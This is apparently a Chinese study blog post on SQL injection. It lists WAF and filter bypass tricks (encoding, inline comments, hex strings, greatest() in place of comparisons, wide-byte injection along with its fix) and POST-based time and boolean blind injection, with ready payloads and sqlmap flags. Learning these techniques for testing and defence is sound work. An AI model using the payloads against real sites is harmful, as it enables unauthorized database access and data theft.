1. 程式人生 > 資料庫 >END的學習 SQL注入繞過 and POST基於時間和布林的盲注

END的學習 SQL注入繞過 and POST基於時間和布林的盲注

SQL注入繞過

1,大小寫繞過

2,雙寫繞過

3,編碼繞過
可以使用URL編碼,ASCII,HEX,unicode編碼繞過

4,內聯註釋繞過

/*!內容*/

5,繞過空格(註釋符/ /,%a0)
兩個空格代替一個空格,用Tab代替空格,%a0=空格,註釋替換空格.

括號繞過空格
如果空格被過濾,括號沒有被過濾,可以用括號繞過。
在MySQL中,括號是用來包圍子查詢的。因此,任何可以計算出結果的語句,都可以用括號包圍起來。而括號的兩端,可以沒有多餘的空格。

select(user())from dual where(1=1)and(2=2)

6,引號繞過(使用十六進位制)

select column_name  from information_schema.tables where table_name="users"//這個時候如果引號被過濾了,那麼上面的where子句就無法使用了。那麼遇到這樣的問題就要使用十六進位制來處理這個問題了。

users的十六進位制的字串是7573657273。

select column_name  from information_schema.tables where table_name=0x7573657273

7,逗號繞過(使用from或者offset)

使用join:
union select 1,2 #等價於
union select * from (select 1)a join (select 2)b

使用like:
select ascii(mid(user(),1,1))=80 #等價於
select user() like ‘r%’

對於limit可以使用offset來繞過:

select * from news limit 0,1
select * from news limit 1 offset 0

8,比較符號(<>)繞過

(過濾了<>:sqlmap盲注經常使用<>,使用greatest()、least():(前者返回最大值,後者返回最小值))

select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

9.繞過union,select,where等

(1)使用註釋符繞過:
U// NION // SE// LECT //user,pwd from user

(2)使用大小寫繞過:

(3)內聯註釋繞過:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 雙關鍵字繞過(若刪除掉第一個匹配的union就能繞過)

10.寬位元組注入

修復:
character_set_client='binary’設定為binary(二進位制),只需要在所有的sql語句前指定一下連線的形式為二進位制:mysql_query(“SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary”, $conn);,當我們的mysql接受到客戶端的資料後,會認為他的編碼是character_set_client,然後會將換成character_set_connection的編碼,然後在進入具體表和欄位後,再轉換成欄位對應的編碼,然後當查詢結果產生後,會從表和欄位編碼,轉換成character_set_results編碼,返回給客戶端。

POST基於時間和布林的盲注

1.HTTP POST介紹

POST傳送資料到伺服器中,請求伺服器處理(表單資料提交、檔案上傳)
POST可能會建立新的資源或者修改現有資源

2.POST基於時間的盲注

在存在注入點POST提交的引數後加and if(length(database())>5,sleep(5),null)
如果執行的頁面響應時間大於5秒,那麼肯定就存在注入,並且對應的SQL語句執行

uname=admin and &passwd=123&submit=Submit
uname=admin and (select(if(length(database())>5,sleep(5),null)))--+&passwd=123&submit=Submit

3.POST基於布林的盲注
在這裡插入圖片描述4、Sqlmap安全測試

測試方法與前面類似

–technique -T 時間盲注

試方法與前面類似

–technique -T 時間盲注

–technique -B 布林盲注